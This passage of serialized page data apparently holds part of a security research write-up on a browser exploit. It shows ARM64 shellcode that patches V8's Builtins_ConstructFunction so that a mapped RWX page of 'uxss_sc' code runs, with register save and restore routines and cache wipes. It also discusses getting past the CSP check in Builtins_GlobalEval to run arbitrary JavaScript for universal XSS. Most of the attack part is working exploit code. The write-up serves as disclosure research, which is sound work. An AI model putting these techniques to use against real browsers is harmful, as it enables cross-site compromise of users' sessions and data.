#222\n",{"type":24,"tag":90,"props":141616,"children":141617},{"class":92,"line":25357},[141618],{"type":24,"tag":90,"props":141619,"children":141620},{},[141621],{"type":29,"value":141529},{"type":24,"tag":90,"props":141623,"children":141624},{"class":92,"line":25366},[141625],{"type":24,"tag":90,"props":141626,"children":141627},{"emptyLinePlaceholder":16},[141628],{"type":29,"value":245},{"type":24,"tag":90,"props":141630,"children":141631},{"class":92,"line":25408},[141632],{"type":24,"tag":90,"props":141633,"children":141634},{},[141635],{"type":29,"value":141427},{"type":24,"tag":90,"props":141637,"children":141638},{"class":92,"line":25441},[141639],{"type":24,"tag":90,"props":141640,"children":141641},{"emptyLinePlaceholder":16},[141642],{"type":29,"value":245},{"type":24,"tag":90,"props":141644,"children":141645},{"class":92,"line":25449},[141646],{"type":24,"tag":90,"props":141647,"children":141648},{},[141649],{"type":29,"value":141650},"// at this point:\n",{"type":24,"tag":90,"props":141652,"children":141653},{"class":92,"line":25457},[141654],{"type":24,"tag":90,"props":141655,"children":141656},{},[141657],{"type":29,"value":141658},"// x6 = Builtins_ConstructFunction\n",{"type":24,"tag":90,"props":141660,"children":141661},{"class":92,"line":25466},[141662],{"type":24,"tag":90,"props":141663,"children":141664},{},[141665],{"type":29,"value":141666},"// x5 = mmap page for uxss_sc\n",{"type":24,"tag":90,"props":141668,"children":141669},{"class":92,"line":25542},[141670],{"type":24,"tag":90,"props":141671,"children":141672},{"emptyLinePlaceholder":16},[141673],{"type":29,"value":245},{"type":24,"tag":90,"props":141675,"children":141676},{"class":92,"line":25575},[141677],{"type":24,"tag":90,"props":141678,"children":141679},{},[141680],{"type":29,"value":141681},"// write uxss_sc to mmaped rwx page\n",{"type":24,"tag":90,"props":141683,"children":141684},{"class":92,"line":25583},[141685],{"type":24,"tag":90,"props":141686,"children":141687},{},[141688],{"type":29,"value":141689},"{write_sc(uxss_sc, \"x5\")}\n",{"type":24,"tag":90,"props":141691,"children":141692},{"class":92,"line":25591},[141693],{"type":24,"tag":90,"props":141694,"children":141695},{"emptyLinePlaceholder":16},[141696],{"type":29,"value":245},{"type":24,"tag":90,"props":141698,"children":141699},{"class":92,"line":25628},[141700],{"type":24,"tag":90,"props":141701,"children":141702},{},[141703],{"type":29,"value":141704},"// wipe from cache\n",{"type":24,"tag":90,"props":141706,"children":141707},{"class":92,"line":25641},[141708],{"type":24,"tag":90,"props":141709,"children":141710},{},[141711],{"type":29,"value":141712},"mov x0, x5\n",{"type":24,"tag":90,"props":141714,"children":141715},{"class":92,"line":25654},[141716],{"type":24,"tag":90,"props":141717,"children":141718},{},[141719],{"type":29,"value":141720},"{WIPE_CACHE}\n",{"type":24,"tag":90,"props":141722,"children":141723},{"class":92,"line":25667},[141724],{"type":24,"tag":90,"props":141725,"children":141726},{"emptyLinePlaceholder":16},[141727],{"type":29,"value":245},{"type":24,"tag":90,"props":141729,"children":141730},{"class":92,"line":25721},[141731],{"type":24,"tag":90,"props":141732,"children":141733},{},[141734],{"type":29,"value":141735},"// patch Builtins_ConstructFunction\n",{"type":24,"tag":90,"props":141737,"children":141738},{"class":92,"line":25730},[141739],{"type":24,"tag":90,"props":141740,"children":141741},{},[141742],{"type":29,"value":141743},"{write_sc(new_compile_instrs, \"x6\")}\n",{"type":24,"tag":90,"props":141745,"children":141746},{"class":92,"line":34094},[141747],{"type":24,"tag":90,"props":141748,"children":141749},{},[141750],{"type":29,"value":141751},"// and add a pointer to uxss_sc just above new instructions\n",{"type":24,"tag":90,"props":141753,"children":141754},{"class":92,"line":34115},[141755],{"type":24,"tag":90,"props":141756,"children":141757},{},[141758],{"type":29,"value":141759},"str x5, [x6, #{5 * INSTR_SIZE}]\n",{"type":24,"tag":90,"props":141761,"children":141762},{"class":92,"line":82781},[141763],{"type":24,"tag":90,"props":141764,"children":141765},{"emptyLinePlaceholder":16},[141766],{"type":29,"value":245},{"type":24,"tag":90,"props":141768,"children":141769},{"class":92,"line":82794},[141770],{"type":24,"tag":90,"props":141771,"children":141772},{},[141773],{"type":29,"value":141704},{"type":24,"tag":90,"props":141775,"children":141776},{"class":92,"line":82802},[141777],{"type":24,"tag":90,"props":141778,"children":141779},{},[141780],{"type":29,"value":141781},"mov x0, x6\n",{"type":24,"tag":90,"props":141783,"children":141784},{"class":92,"line":82810},[141785],{"type":24,"tag":90,"props":141786,"children":141787},{},[141788],{"type":29,"value":141720},{"type":24,"tag":25,"props":141790,"children":141791},{},[141792,141794,141800,141802,141807,141809,141815],{"type":29,"value":141793},"In the snippet above, ",{"type":24,"tag":32,"props":141795,"children":141797},{"className":141796},[],[141798],{"type":29,"value":141799},"new_compile_instrs",{"type":29,"value":141801}," refers to the instructions written to the beginning of ",{"type":24,"tag":32,"props":141803,"children":141805},{"className":141804},[],[141806],{"type":29,"value":141298},{"type":29,"value":141808}," that invoke the ",{"type":24,"tag":32,"props":141810,"children":141812},{"className":141811},[],[141813],{"type":29,"value":141814},"uxss_sc",{"type":29,"value":141816}," mmap-ed shellcode:",{"type":24,"tag":80,"props":141818,"children":141820},{"code":141819,"language":141351,"meta":7,"className":141352,"style":7},"bti c\n\n// store registers that will be overwritten\nstp x15, lr, [sp, #-16]!\n\n// get current rip into x15\nadr x15, .\n\n// load the uxss_sc pointer saved just above new instructions\nldr x15, [x15, #{3 * INSTR_SIZE}]\n\n// jump to uxss_sc\nblr x15\n",[141821],{"type":24,"tag":32,"props":141822,"children":141823},{"__ignoreMap":7},[141824,141832,141839,141847,141855,141862,141870,141878,141885,141893,141901,141908,141916],{"type":24,"tag":90,"props":141825,"children":141826},{"class":92,"line":93},[141827],{"type":24,"tag":90,"props":141828,"children":141829},{},[141830],{"type":29,"value":141831},"bti c\n",{"type":24,"tag":90,"props":141833,"children":141834},{"class":92,"line":200},[141835],{"type":24,"tag":90,"props":141836,"children":141837},{"emptyLinePlaceholder":16},[141838],{"type":29,"value":245},{"type":24,"tag":90,"props":141840,"children":141841},{"class":92,"line":239},[141842],{"type":24,"tag":90,"props":141843,"children":141844},{},[141845],{"type":29,"value":141846},"// store registers that will be overwritten\n",{"type":24,"tag":90,"props":141848,"children":141849},{"class":92,"line":248},[141850],{"type":24,"tag":90,"props":141851,"children":141852},{},[141853],{"type":29,"value":141854},"stp x15, lr, [sp, #-16]!\n",{"type":24,"tag":90,"props":141856,"children":141857},{"class":92,"line":258},[141858],{"type":24,"tag":90,"props":141859,"children":141860},{"emptyLinePlaceholder":16},[141861],{"type":29,"value":245},{"type":24,"tag":90,"props":141863,"children":141864},{"class":92,"line":272},[141865],{"type":24,"tag":90,"props":141866,"children":141867},{},[141868],{"type":29,"value":141869},"// get current rip into x15\n",{"type":24,"tag":90,"props":141871,"children":141872},{"class":92,"line":281},[141873],{"type":24,"tag":90,"props":141874,"children":141875},{},[141876],{"type":29,"value":141877},"adr x15, .\n",{"type":24,"tag":90,"props":141879,"children":141880},{"class":92,"line":384},[141881],{"type":24,"tag":90,"props":141882,"children":141883},{"emptyLinePlaceholder":16},[141884],{"type":29,"value":245},{"type":24,"tag":90,"props":141886,"children":141887},{"class":92,"line":420},[141888],{"type":24,"tag":90,"props":141889,"children":141890},{},[141891],{"type":29,"value":141892},"// load the uxss_sc pointer saved just above new instructions\n",{"type":24,"tag":90,"props":141894,"children":141895},{"class":92,"line":428},[141896],{"type":24,"tag":90,"props":141897,"children":141898},{},[141899],{"type":29,"value":141900},"ldr x15, [x15, #{3 * INSTR_SIZE}]\n",{"type":24,"tag":90,"props":141902,"children":141903},{"class":92,"line":437},[141904],{"type":24,"tag":90,"props":141905,"children":141906},{"emptyLinePlaceholder":16},[141907],{"type":29,"value":245},{"type":24,"tag":90,"props":141909,"children":141910},{"class":92,"line":574},[141911],{"type":24,"tag":90,"props":141912,"children":141913},{},[141914],{"type":29,"value":141915},"// jump to uxss_sc\n",{"type":24,"tag":90,"props":141917,"children":141918},{"class":92,"line":606},[141919],{"type":24,"tag":90,"props":141920,"children":141921},{},[141922],{"type":29,"value":141923},"blr x15\n",{"type":24,"tag":25,"props":141925,"children":141926},{},[141927,141932,141934,141939],{"type":24,"tag":32,"props":141928,"children":141930},{"className":141929},[],[141931],{"type":29,"value":141814},{"type":29,"value":141933}," is the mmap-ed shellcode invoked by the patched ",{"type":24,"tag":32,"props":141935,"children":141937},{"className":141936},[],[141938],{"type":29,"value":141298},{"type":29,"value":141940}," to execute our XSS payload. Its prologue looks like this:",{"type":24,"tag":80,"props":141942,"children":141944},{"code":141943,"language":141351,"meta":7,"className":141352,"style":7},"bti c\n\n// Save full register context\nstp x0, x1, [sp, #-16]!\nstp x2, x3, [sp, #-16]!\nstp x4, x5, [sp, #-16]!\nstp x6, x7, [sp, #-16]!\nstp x8, x9, [sp, #-16]!\nstp x10, x11, [sp, #-16]!\nstp x12, x13, [sp, #-16]!\nstp x14, x15, [sp, #-16]!\nstp x16, x17, [sp, #-16]!\nstp x18, x19, [sp, #-16]!\nstp x20, x21, [sp, #-16]!\nstp x22, x23, [sp, #-16]!\nstp x24, x25, [sp, #-16]!\nstp x26, x27, [sp, #-16]!\nstp x28, x29, [sp, #-16]!\nstr lr, [sp, #-16]!\n",[141945],{"type":24,"tag":32,"props":141946,"children":141947},{"__ignoreMap":7},[141948,141955,141962,141970,141978,141986,141994,142002,142010,142018,142026,142034,142042,142050,142058,142066,142074,142082,142090],{"type":24,"tag":90,"props":141949,"children":141950},{"class":92,"line":93},[141951],{"type":24,"tag":90,"props":141952,"children":141953},{},[141954],{"type":29,"value":141831},{"type":24,"tag":90,"props":141956,"children":141957},{"class":92,"line":200},[141958],{"type":24,"tag":90,"props":141959,"children":141960},{"emptyLinePlaceholder":16},[141961],{"type":29,"value":245},{"type":24,"tag":90,"props":141963,"children":141964},{"class":92,"line":239},[141965],{"type":24,"tag":90,"props":141966,"children":141967},{},[141968],{"type":29,"value":141969},"// Save full register context\n",{"type":24,"tag":90,"props":141971,"children":141972},{"class":92,"line":248},[141973],{"type":24,"tag":90,"props":141974,"children":141975},{},[141976],{"type":29,"value":141977},"stp x0, x1, [sp, #-16]!\n",{"type":24,"tag":90,"props":141979,"children":141980},{"class":92,"line":258},[141981],{"type":24,"tag":90,"props":141982,"children":141983},{},[141984],{"type":29,"value":141985},"stp x2, x3, [sp, #-16]!\n",{"type":24,"tag":90,"props":141987,"children":141988},{"class":92,"line":272},[141989],{"type":24,"tag":90,"props":141990,"children":141991},{},[141992],{"type":29,"value":141993},"stp x4, x5, [sp, #-16]!\n",{"type":24,"tag":90,"props":141995,"children":141996},{"class":92,"line":281},[141997],{"type":24,"tag":90,"props":141998,"children":141999},{},[142000],{"type":29,"value":142001},"stp x6, x7, [sp, #-16]!\n",{"type":24,"tag":90,"props":142003,"children":142004},{"class":92,"line":384},[142005],{"type":24,"tag":90,"props":142006,"children":142007},{},[142008],{"type":29,"value":142009},"stp x8, x9, [sp, #-16]!\n",{"type":24,"tag":90,"props":142011,"children":142012},{"class":92,"line":420},[142013],{"type":24,"tag":90,"props":142014,"children":142015},{},[142016],{"type":29,"value":142017},"stp x10, x11, [sp, #-16]!\n",{"type":24,"tag":90,"props":142019,"children":142020},{"class":92,"line":428},[142021],{"type":24,"tag":90,"props":142022,"children":142023},{},[142024],{"type":29,"value":142025},"stp x12, x13, [sp, #-16]!\n",{"type":24,"tag":90,"props":142027,"children":142028},{"class":92,"line":437},[142029],{"type":24,"tag":90,"props":142030,"children":142031},{},[142032],{"type":29,"value":142033},"stp x14, x15, [sp, #-16]!\n",{"type":24,"tag":90,"props":142035,"children":142036},{"class":92,"line":574},[142037],{"type":24,"tag":90,"props":142038,"children":142039},{},[142040],{"type":29,"value":142041},"stp x16, x17, [sp, #-16]!\n",{"type":24,"tag":90,"props":142043,"children":142044},{"class":92,"line":606},[142045],{"type":24,"tag":90,"props":142046,"children":142047},{},[142048],{"type":29,"value":142049},"stp x18, x19, [sp, #-16]!\n",{"type":24,"tag":90,"props":142051,"children":142052},{"class":92,"line":615},[142053],{"type":24,"tag":90,"props":142054,"children":142055},{},[142056],{"type":29,"value":142057},"stp x20, x21, [sp, #-16]!\n",{"type":24,"tag":90,"props":142059,"children":142060},{"class":92,"line":623},[142061],{"type":24,"tag":90,"props":142062,"children":142063},{},[142064],{"type":29,"value":142065},"stp x22, x23, [sp, #-16]!\n",{"type":24,"tag":90,"props":142067,"children":142068},{"class":92,"line":632},[142069],{"type":24,"tag":90,"props":142070,"children":142071},{},[142072],{"type":29,"value":142073},"stp x24, x25, [sp, #-16]!\n",{"type":24,"tag":90,"props":142075,"children":142076},{"class":92,"line":669},[142077],{"type":24,"tag":90,"props":142078,"children":142079},{},[142080],{"type":29,"value":142081},"stp x26, x27, [sp, #-16]!\n",{"type":24,"tag":90,"props":142083,"children":142084},{"class":92,"line":683},[142085],{"type":24,"tag":90,"props":142086,"children":142087},{},[142088],{"type":29,"value":142089},"stp x28, x29, [sp, #-16]!\n",{"type":24,"tag":90,"props":142091,"children":142092},{"class":92,"line":737},[142093],{"type":24,"tag":90,"props":142094,"children":142095},{},[142096],{"type":29,"value":142097},"str lr, [sp, #-16]!\n",{"type":24,"tag":25,"props":142099,"children":142100},{},[142101],{"type":29,"value":142102},"All registers are saved to the stack because we don't know which registers may be clobbered by functions invoked later.",{"type":24,"tag":25,"props":142104,"children":142105},{},[142106,142108,142113],{"type":29,"value":142107},"The epilogue restores all saved registers, restores the original instructions in ",{"type":24,"tag":32,"props":142109,"children":142111},{"className":142110},[],[142112],{"type":29,"value":141298},{"type":29,"value":142114},", and then returns execution to its beginning:",{"type":24,"tag":80,"props":142116,"children":142118},{"code":142117,"language":141351,"meta":7,"className":141352,"style":7},"// restore original instructions of Builtins_ConstructFunction\nldr lr, [sp], #16\n// move lr to the beginning of Builtins_ConstructFunction\nsub lr, lr, #{5 * INSTR_SIZE}\n{write_sc(orig_compile_instrs, \"lr\")}\n\n// wipe from cache\nmov x0, lr\n{WIPE_CACHE}\n\n// restore original registers\nldp x28, x29, [sp], #16\nldp x26, x27, [sp], #16\nldp x24, x25, [sp], #16\nldp x22, x23, [sp], #16\nldp x20, x21, [sp], #16\nldp x18, x19, [sp], #16\nldp x16, x17, [sp], #16\nldp x14, x15, [sp], #16\nldp x12, x13, [sp], #16\nldp x10, x11, [sp], #16\nldp x8, x9, [sp], #16\nldp x6, x7, [sp], #16\nldp x4, x5, [sp], #16\nldp x2, x3, [sp], #16\nldp x0, x1, [sp], #16\n\n// Builtins_ConstructFunction doesnt care about x4 and overwrites\n// it immediately, so we can clobber and use it as a return register.\n// This is done so lr isnt clobbered and ConstructFunction knows\n// where to return\nmov x4, lr\n\n// x15 and lr were saved in patched Builtins_ConstructFunction\nldp x15, lr, [sp], #16\n\nret x4\n",[142119],{"type":24,"tag":32,"props":142120,"children":142121},{"__ignoreMap":7},[142122,142130,142138,142146,142154,142162,142169,142176,142184,142191,142198,142206,142214,142222,142230,142238,142246,142254,142262,142270,142278,142286,142294,142302,142310,142318,142326,142333,142341,142349,142357,142365,142373,142380,142388,142396,142403],{"type":24,"tag":90,"props":142123,"children":142124},{"class":92,"line":93},[142125],{"type":24,"tag":90,"props":142126,"children":142127},{},[142128],{"type":29,"value":142129},"// restore original instructions of Builtins_ConstructFunction\n",{"type":24,"tag":90,"props":142131,"children":142132},{"class":92,"line":200},[142133],{"type":24,"tag":90,"props":142134,"children":142135},{},[142136],{"type":29,"value":142137},"ldr lr, [sp], #16\n",{"type":24,"tag":90,"props":142139,"children":142140},{"class":92,"line":239},[142141],{"type":24,"tag":90,"props":142142,"children":142143},{},[142144],{"type":29,"value":142145},"// move lr to the beginning of Builtins_ConstructFunction\n",{"type":24,"tag":90,"props":142147,"children":142148},{"class":92,"line":248},[142149],{"type":24,"tag":90,"props":142150,"children":142151},{},[142152],{"type":29,"value":142153},"sub lr, lr, #{5 * INSTR_SIZE}\n",{"type":24,"tag":90,"props":142155,"children":142156},{"class":92,"line":258},[142157],{"type":24,"tag":90,"props":142158,"children":142159},{},[142160],{"type":29,"value":142161},"{write_sc(orig_compile_instrs, \"lr\")}\n",{"type":24,"tag":90,"props":142163,"children":142164},{"class":92,"line":272},[142165],{"type":24,"tag":90,"props":142166,"children":142167},{"emptyLinePlaceholder":16},[142168],{"type":29,"value":245},{"type":24,"tag":90,"props":142170,"children":142171},{"class":92,"line":281},[142172],{"type":24,"tag":90,"props":142173,"children":142174},{},[142175],{"type":29,"value":141704},{"type":24,"tag":90,"props":142177,"children":142178},{"class":92,"line":384},[142179],{"type":24,"tag":90,"props":142180,"children":142181},{},[142182],{"type":29,"value":142183},"mov x0, lr\n",{"type":24,"tag":90,"props":142185,"children":142186},{"class":92,"line":420},[142187],{"type":24,"tag":90,"props":142188,"children":142189},{},[142190],{"type":29,"value":141720},{"type":24,"tag":90,"props":142192,"children":142193},{"class":92,"line":428},[142194],{"type":24,"tag":90,"props":142195,"children":142196},{"emptyLinePlaceholder":16},[142197],{"type":29,"value":245},{"type":24,"tag":90,"props":142199,"children":142200},{"class":92,"line":437},[142201],{"type":24,"tag":90,"props":142202,"children":142203},{},[142204],{"type":29,"value":142205},"// restore original registers\n",{"type":24,"tag":90,"props":142207,"children":142208},{"class":92,"line":574},[142209],{"type":24,"tag":90,"props":142210,"children":142211},{},[142212],{"type":29,"value":142213},"ldp x28, x29, [sp], #16\n",{"type":24,"tag":90,"props":142215,"children":142216},{"class":92,"line":606},[142217],{"type":24,"tag":90,"props":142218,"children":142219},{},[142220],{"type":29,"value":142221},"ldp x26, x27, [sp], #16\n",{"type":24,"tag":90,"props":142223,"children":142224},{"class":92,"line":615},[142225],{"type":24,"tag":90,"props":142226,"children":142227},{},[142228],{"type":29,"value":142229},"ldp x24, x25, [sp], #16\n",{"type":24,"tag":90,"props":142231,"children":142232},{"class":92,"line":623},[142233],{"type":24,"tag":90,"props":142234,"children":142235},{},[142236],{"type":29,"value":142237},"ldp x22, x23, [sp], #16\n",{"type":24,"tag":90,"props":142239,"children":142240},{"class":92,"line":632},[142241],{"type":24,"tag":90,"props":142242,"children":142243},{},[142244],{"type":29,"value":142245},"ldp x20, x21, [sp], #16\n",{"type":24,"tag":90,"props":142247,"children":142248},{"class":92,"line":669},[142249],{"type":24,"tag":90,"props":142250,"children":142251},{},[142252],{"type":29,"value":142253},"ldp x18, x19, [sp], #16\n",{"type":24,"tag":90,"props":142255,"children":142256},{"class":92,"line":683},[142257],{"type":24,"tag":90,"props":142258,"children":142259},{},[142260],{"type":29,"value":142261},"ldp x16, x17, [sp], #16\n",{"type":24,"tag":90,"props":142263,"children":142264},{"class":92,"line":737},[142265],{"type":24,"tag":90,"props":142266,"children":142267},{},[142268],{"type":29,"value":142269},"ldp x14, x15, [sp], #16\n",{"type":24,"tag":90,"props":142271,"children":142272},{"class":92,"line":751},[142273],{"type":24,"tag":90,"props":142274,"children":142275},{},[142276],{"type":29,"value":142277},"ldp x12, x13, [sp], #16\n",{"type":24,"tag":90,"props":142279,"children":142280},{"class":92,"line":782},[142281],{"type":24,"tag":90,"props":142282,"children":142283},{},[142284],{"type":29,"value":142285},"ldp x10, x11, [sp], #16\n",{"type":24,"tag":90,"props":142287,"children":142288},{"class":92,"line":791},[142289],{"type":24,"tag":90,"props":142290,"children":142291},{},[142292],{"type":29,"value":142293},"ldp x8, x9, [sp], #16\n",{"type":24,"tag":90,"props":142295,"children":142296},{"class":92,"line":799},[142297],{"type":24,"tag":90,"props":142298,"children":142299},{},[142300],{"type":29,"value":142301},"ldp x6, x7, [sp], #16\n",{"type":24,"tag":90,"props":142303,"children":142304},{"class":92,"line":807},[142305],{"type":24,"tag":90,"props":142306,"children":142307},{},[142308],{"type":29,"value":142309},"ldp x4, x5, [sp], #16\n",{"type":24,"tag":90,"props":142311,"children":142312},{"class":92,"line":821},[142313],{"type":24,"tag":90,"props":142314,"children":142315},{},[142316],{"type":29,"value":142317},"ldp x2, x3, [sp], #16\n",{"type":24,"tag":90,"props":142319,"children":142320},{"class":92,"line":6278},[142321],{"type":24,"tag":90,"props":142322,"children":142323},{},[142324],{"type":29,"value":142325},"ldp x0, x1, [sp], #16\n",{"type":24,"tag":90,"props":142327,"children":142328},{"class":92,"line":11420},[142329],{"type":24,"tag":90,"props":142330,"children":142331},{"emptyLinePlaceholder":16},[142332],{"type":29,"value":245},{"type":24,"tag":90,"props":142334,"children":142335},{"class":92,"line":11438},[142336],{"type":24,"tag":90,"props":142337,"children":142338},{},[142339],{"type":29,"value":142340},"// Builtins_ConstructFunction doesnt care about x4 and overwrites\n",{"type":24,"tag":90,"props":142342,"children":142343},{"class":92,"line":11483},[142344],{"type":24,"tag":90,"props":142345,"children":142346},{},[142347],{"type":29,"value":142348},"// it immediately, so we can clobber and use it as a return register.\n",{"type":24,"tag":90,"props":142350,"children":142351},{"class":92,"line":11589},[142352],{"type":24,"tag":90,"props":142353,"children":142354},{},[142355],{"type":29,"value":142356},"// This is done so lr isnt clobbered and ConstructFunction knows\n",{"type":24,"tag":90,"props":142358,"children":142359},{"class":92,"line":25306},[142360],{"type":24,"tag":90,"props":142361,"children":142362},{},[142363],{"type":29,"value":142364},"// where to return\n",{"type":24,"tag":90,"props":142366,"children":142367},{"class":92,"line":25341},[142368],{"type":24,"tag":90,"props":142369,"children":142370},{},[142371],{"type":29,"value":142372},"mov x4, lr\n",{"type":24,"tag":90,"props":142374,"children":142375},{"class":92,"line":25349},[142376],{"type":24,"tag":90,"props":142377,"children":142378},{"emptyLinePlaceholder":16},[142379],{"type":29,"value":245},{"type":24,"tag":90,"props":142381,"children":142382},{"class":92,"line":25357},[142383],{"type":24,"tag":90,"props":142384,"children":142385},{},[142386],{"type":29,"value":142387},"// x15 and lr were saved in patched Builtins_ConstructFunction\n",{"type":24,"tag":90,"props":142389,"children":142390},{"class":92,"line":25366},[142391],{"type":24,"tag":90,"props":142392,"children":142393},{},[142394],{"type":29,"value":142395},"ldp x15, lr, [sp], #16\n",{"type":24,"tag":90,"props":142397,"children":142398},{"class":92,"line":25408},[142399],{"type":24,"tag":90,"props":142400,"children":142401},{"emptyLinePlaceholder":16},[142402],{"type":29,"value":245},{"type":24,"tag":90,"props":142404,"children":142405},{"class":92,"line":25441},[142406],{"type":24,"tag":90,"props":142407,"children":142408},{},[142409],{"type":29,"value":142410},"ret x4\n",{"type":24,"tag":25,"props":142412,"children":142413},{},[142414,142416,142421,142423,142428,142430,142436],{"type":29,"value":142415},"At this point, we have successfully hooked ",{"type":24,"tag":32,"props":142417,"children":142419},{"className":142418},[],[142420],{"type":29,"value":141298},{"type":29,"value":142422}," and can execute arbitrary shellcode whenever it is invoked from within the ",{"type":24,"tag":32,"props":142424,"children":142426},{"className":142425},[],[142427],{"type":29,"value":141814},{"type":29,"value":142429}," body. For our purposes, we want to evaluate an arbitrary JavaScript string to achieve UXSS, and the first function we examined for this was ",{"type":24,"tag":32,"props":142431,"children":142433},{"className":142432},[],[142434],{"type":29,"value":142435},"Builtins_GlobalEval",{"type":29,"value":226},{"type":24,"tag":25,"props":142438,"children":142439},{},[142440,142445,142447,142452,142454,142459],{"type":24,"tag":32,"props":142441,"children":142443},{"className":142442},[],[142444],{"type":29,"value":142435},{"type":29,"value":142446}," takes a single ",{"type":24,"tag":32,"props":142448,"children":142450},{"className":142449},[],[142451],{"type":29,"value":49749},{"type":29,"value":142453}," argument that it evaluates. However, it comes with some complications. One notable issue is that it checks whether the Content Security Policy (CSP) allows the use of ",{"type":24,"tag":32,"props":142455,"children":142457},{"className":142456},[],[142458],{"type":29,"value":39364},{"type":29,"value":78},{"type":24,"tag":80,"props":142461,"children":142463},{"code":142462,"language":30923,"meta":7,"className":30921,"style":7},"BUILTIN(GlobalEval) {\n [...]\n\n if (!Builtins::AllowDynamicFunction(isolate, target, target_global_proxy)) {\n isolate->CountUsage(v8::Isolate::kFunctionConstructorReturnedUndefined);\n return ReadOnlyRoots(isolate).undefined_value();\n }\n",[142464],{"type":24,"tag":32,"props":142465,"children":142466},{"__ignoreMap":7},[142467,142480,142487,142494,142537,142559,142585],{"type":24,"tag":90,"props":142468,"children":142469},{"class":92,"line":93},[142470,142475],{"type":24,"tag":90,"props":142471,"children":142472},{"style":108},[142473],{"type":29,"value":142474},"BUILTIN",{"type":24,"tag":90,"props":142476,"children":142477},{"style":114},[142478],{"type":29,"value":142479},"(GlobalEval) {\n",{"type":24,"tag":90,"props":142481,"children":142482},{"class":92,"line":200},[142483],{"type":24,"tag":90,"props":142484,"children":142485},{"style":114},[142486],{"type":29,"value":128983},{"type":24,"tag":90,"props":142488,"children":142489},{"class":92,"line":239},[142490],{"type":24,"tag":90,"props":142491,"children":142492},{"emptyLinePlaceholder":16},[142493],{"type":29,"value":245},{"type":24,"tag":90,"props":142495,"children":142496},{"class":92,"line":248},[142497,142502,142507,142511,142516,142520,142524,142528,142533],{"type":24,"tag":90,"props":142498,"children":142499},{"style":114},[142500],{"type":29,"value":142501}," if (!Builtins::",{"type":24,"tag":90,"props":142503,"children":142504},{"style":146},[142505],{"type":29,"value":142506},"AllowDynamicFunction",{"type":24,"tag":90,"props":142508,"children":142509},{"style":114},[142510],{"type":29,"value":117},{"type":24,"tag":90,"props":142512,"children":142513},{"style":146},[142514],{"type":29,"value":142515},"isolate",{"type":24,"tag":90,"props":142517,"children":142518},{"style":114},[142519],{"type":29,"value":133},{"type":24,"tag":90,"props":142521,"children":142522},{"style":146},[142523],{"type":29,"value":116908},{"type":24,"tag":90,"props":142525,"children":142526},{"style":114},[142527],{"type":29,"value":133},{"type":24,"tag":90,"props":142529,"children":142530},{"style":146},[142531],{"type":29,"value":142532},"target_global_proxy",{"type":24,"tag":90,"props":142534,"children":142535},{"style":114},[142536],{"type":29,"value":37009},{"type":24,"tag":90,"props":142538,"children":142539},{"class":92,"line":258},[142540,142545,142549,142554],{"type":24,"tag":90,"props":142541,"children":142542},{"style":136},[142543],{"type":29,"value":142544}," isolate",{"type":24,"tag":90,"props":142546,"children":142547},{"style":114},[142548],{"type":29,"value":177},{"type":24,"tag":90,"props":142550,"children":142551},{"style":108},[142552],{"type":29,"value":142553},"CountUsage",{"type":24,"tag":90,"props":142555,"children":142556},{"style":114},[142557],{"type":29,"value":142558},"(v8::Isolate::kFunctionConstructorReturnedUndefined);\n",{"type":24,"tag":90,"props":142560,"children":142561},{"class":92,"line":272},[142562,142566,142571,142576,142581],{"type":24,"tag":90,"props":142563,"children":142564},{"style":636},[142565],{"type":29,"value":3510},{"type":24,"tag":90,"props":142567,"children":142568},{"style":108},[142569],{"type":29,"value":142570}," ReadOnlyRoots",{"type":24,"tag":90,"props":142572,"children":142573},{"style":114},[142574],{"type":29,"value":142575},"(isolate).",{"type":24,"tag":90,"props":142577,"children":142578},{"style":108},[142579],{"type":29,"value":142580},"undefined_value",{"type":24,"tag":90,"props":142582,"children":142583},{"style":114},[142584],{"type":29,"value":236},{"type":24,"tag":90,"props":142586,"children":142587},{"class":92,"line":281},[142588],{"type":24,"tag":90,"props":142589,"children":142590},{"style":114},[142591],{"type":29,"value":8257},{"type":24,"tag":25,"props":142593,"children":142594},{},[142595,142597,142602],{"type":29,"value":142596},"This means we would need to patch the function further to ensure it never enters this ",{"type":24,"tag":32,"props":142598,"children":142600},{"className":142599},[],[142601],{"type":29,"value":2084},{"type":29,"value":142603}," block.",{"type":24,"tag":25,"props":142605,"children":142606},{},[142607],{"type":29,"value":142608},"Alternatively, we could replicate the calls made once the security checks pass:",{"type":24,"tag":80,"props":142610,"children":142612},{"code":142611,"language":30923,"meta":7,"className":30921,"style":7},"BUILTIN(GlobalEval) {\n\n [...]\n\n DirectHandle\u003CJSFunction> function;\n ASSIGN_RETURN_FAILURE_ON_EXCEPTION(\n isolate, function,\n Compiler::GetFunctionFromValidatedString(\n direct_handle(target->native_context(), isolate), source,\n NO_PARSE_RESTRICTION, kNoSourcePosition));\n RETURN_RESULT_OR_FAILURE(\n isolate, Execution::Call(isolate, function, target_global_proxy, {}));\n",[142613],{"type":24,"tag":32,"props":142614,"children":142615},{"__ignoreMap":7},[142616,142627,142634,142641,142648,142656,142668,142676,142693,142723,142731,142743],{"type":24,"tag":90,"props":142617,"children":142618},{"class":92,"line":93},[142619,142623],{"type":24,"tag":90,"props":142620,"children":142621},{"style":108},[142622],{"type":29,"value":142474},{"type":24,"tag":90,"props":142624,"children":142625},{"style":114},[142626],{"type":29,"value":142479},{"type":24,"tag":90,"props":142628,"children":142629},{"class":92,"line":200},[142630],{"type":24,"tag":90,"props":142631,"children":142632},{"emptyLinePlaceholder":16},[142633],{"type":29,"value":245},{"type":24,"tag":90,"props":142635,"children":142636},{"class":92,"line":239},[142637],{"type":24,"tag":90,"props":142638,"children":142639},{"style":114},[142640],{"type":29,"value":128983},{"type":24,"tag":90,"props":142642,"children":142643},{"class":92,"line":248},[142644],{"type":24,"tag":90,"props":142645,"children":142646},{"emptyLinePlaceholder":16},[142647],{"type":29,"value":245},{"type":24,"tag":90,"props":142649,"children":142650},{"class":92,"line":258},[142651],{"type":24,"tag":90,"props":142652,"children":142653},{"style":114},[142654],{"type":29,"value":142655}," DirectHandle\u003CJSFunction> function;\n",{"type":24,"tag":90,"props":142657,"children":142658},{"class":92,"line":272},[142659,142664],{"type":24,"tag":90,"props":142660,"children":142661},{"style":108},[142662],{"type":29,"value":142663}," ASSIGN_RETURN_FAILURE_ON_EXCEPTION",{"type":24,"tag":90,"props":142665,"children":142666},{"style":114},[142667],{"type":29,"value":680},{"type":24,"tag":90,"props":142669,"children":142670},{"class":92,"line":281},[142671],{"type":24,"tag":90,"props":142672,"children":142673},{"style":114},[142674],{"type":29,"value":142675}," isolate, 